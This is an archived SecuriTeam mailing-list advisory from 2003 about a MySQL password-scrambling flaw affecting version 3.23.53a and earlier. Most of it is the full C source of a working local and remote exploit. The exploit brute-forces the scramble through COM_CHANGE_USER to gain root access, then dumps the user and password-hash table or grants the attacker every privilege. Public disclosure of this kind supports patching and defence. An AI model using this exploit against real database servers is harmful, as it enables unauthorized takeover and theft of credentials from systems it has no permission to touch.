[EXPL] Local and Remote Exploit for MySQL (Password Scrambling)

From: support@securiteam.com
Date: 01/18/03

  • Next message: support@securiteam.com: "[EXPL] Psunami Bulletin Board CGI Remote Command Execution"
    From: support@securiteam.com
    To: list@securiteam.com
    Date: 18 Jan 2003 10:52:19 +0200
    
    

    The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com
    - - promotion

    Beyond Security would like to welcome Tiscali World Online
    to our service provider team.
    For more info on their service offering IP-Secure,
    please visit http://www.worldonline.co.za/services/work_ip.asp
    - - - - - - - - -

      Local and Remote Exploit for MySQL (Password Scrambling)
    ------------------------------------------------------------------------

    SUMMARY

    Due to a vulnerability in MySQL's password handling it is possible to
    cause MySQL to change a user's current access restrictions to that of the
    MySQL's "root" user, without needing to know the password for the MySQL
    "root" user. The following exploit code can be used to verify the issue.

    DETAILS

    Vulnerable systems:
     * MySQL version 3.23.53a and prior

    Exploit:
    /***********************************************************
     * hoagie_mysql.c
     *
     * local and remote exploit for mysql <= 3.23.53a
     *
     * new years present .... works also for 3.23.54 openbsd
     * (head) date 16/12/2002
     *
     * hey after some code checking and patching my mysql server
     * i relized, that this patch doesnt protect you against
     * this vulnerability.
     * The length of the scramble string is important for the
     * password check and not the length of the password.
     *
     * perhaps other system are also still vulnerable
     *
     * gcc hoagie_mysql.c -o hoagie_mysql -lmysqlclient -I/usr/local/include
    -L/usr/local/lib/mysql
     *
     * Author: Andi <andi@void.at>
     *
     * Greetz to Greuff, philipp and the other hoagie-fellas :-)
     *
     * With this exploit you can also do that nasty things:
     * http://void.at/andi/mysql.pdf
     *
     * $ ./hoagie_mysql -u dbuser -p dbpass
     * connecting to [localhost] as [dbpass] ... ok
     * sending one byte requests with user [root] ...
     * root 13fb921913f4b3b1
     * root
     * ...........
     * ........
     * $
     *
     * If root or the attack user has no passwort set, this
     * exploit will fail -> thx to philipp
     *
     * THIS FILE IS FOR STUDYING PURPOSES ONLY AND A PROOF-OF-
     * CONCEPT. THE AUTHOR CAN NOT BE HELD RESPONSIBLE FOR ANY
     * DAMAGE DONE USING THIS PROGRAM.
     *
     ************************************************************/
    #include <stdio.h>
    #include <unistd.h>
    #include <mysql/mysql.h>

    int do_attack(MYSQL *mysql, char *attackuser);
    void do_action(MYSQL *mysql, char *action, char *user);
    char *strmov(register char *dst, register const char *src);

    int main(int argc, char **argv) {
       MYSQL mysql;
       char optchar;
       char *target, *user, *password, *attackuser, *action;

       target = user = password = action = attackuser= NULL;

       while ( (optchar = getopt(argc, argv, "ht:u:p:a:e:")) != EOF ) {
           switch(optchar) {
               case 'h': printf("hoagie_mysql.c\n");
                         printf("-t ... mysql server (default localhost)\n");
           printf("-u ... username (default empty)\n");
                         printf("-p ... password (default empty)\n");
                         printf("-a ... attack user (default root)\n");
                         printf("-e ... action\n");
                         printf("-h ... this screen\n");
                         exit(0);
               case 't': target = optarg;
                         break;
               case 'u': user = optarg;
                         break;
               case 'p': password = optarg;
                         break;
               case 'a': attackuser = optarg;
                         break;
               case 'e': action = optarg;
           }
       }

       if (!target) target = "localhost";
       if (!user) user = "";
       if (!password) password = "";
       if (!attackuser) attackuser = "root";
       if (!action) action = "dumpuser";

       printf("connecting to [%s] as [%s] ... ", target, user);
       fflush(stdin);

       if (!mysql_connect(&mysql, target, user, password)) {
           printf("failed\n");
           return 0;
       } else {
           printf("ok\n");
       }

       printf("sending one byte requests with user [%s] ... \n", attackuser);
       if (!do_attack(&mysql, attackuser)) {
           do_action(&mysql, action, user);
       } else {
           printf("attack failed\n");
       }
       mysql_close(&mysql);

       return 0;
    }

    int do_attack(MYSQL *mysql, char *attackuser) {
       char buff[512], *pos=buff, *attackpasswd = "A";
       int i, len, j, ret = 1;

       pos = (char*)strmov(pos,attackuser)+1;
       mysql->scramble_buff[1] = 0;
       pos = scramble(pos, mysql->scramble_buff, attackpasswd,
                   (my_bool) (mysql->protocol_version == 9));
       pos = (char*)strmov(pos+1,"");
       len = pos-buff;

       for (j = 0; ret && j < 32; j++) {
           buff[5] = 65 + j;
           ret = simple_command(mysql,COM_CHANGE_USER, buff,(uint)len,0);
       }

       return ret;
    }

    void do_action(MYSQL *mysql, char *action, char *user) {
       MYSQL_ROW row;
       MYSQL_RES *result;
       char buf[512];

       mysql_select_db(mysql, "mysql");

       if (!strcmp(action, "dumpuser")) {
          mysql_query(mysql, "select user, password, host from user");
          result = mysql_use_result(mysql);

          while ((row = mysql_fetch_row(result)))
              printf("%16s %16s %50s\n", row[0], row[1], row[2]);
          mysql_free_result(result);
       } else if (!strcmp(action, "becomeadmin")) {
          snprintf(buf, sizeof(buf) - 1,
                   "update user set Select_priv='Y', Insert_priv='Y',
    Update_priv='Y', Delete_priv='Y', "
                   " Create_priv='Y', Drop_priv='Y', Reload_priv='Y',
    Shutdown_priv='Y', Process_priv='Y', "
                   " File_priv='Y', Grant_priv='Y', References_priv='Y',
    Index_priv='Y', Alter_priv='Y' where "
                   " user = '%s'", user);
          mysql_query(mysql, buf);
          mysql_reload(mysql);
       } /* do whatever you want ... see mysql api ... // else if ( */
    }

    char *strmov(register char *dst, register const char *src)
    {
        while ((*dst++ = *src++)) ;
          return dst-1;
    }

    ADDITIONAL INFORMATION

    The information has been provided by <mailto:andi@void.at> Andi.

    ========================================

    This bulletin is sent to members of the SecuriTeam mailing list.
    To unsubscribe from the list, send mail with an empty subject line and body to: list-unsubscribe@securiteam.com
    In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com

    ====================
    ====================

    DISCLAIMER:
    The information in this bulletin is provided "AS IS" without warranty of any kind.
    In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.



    Relevant Pages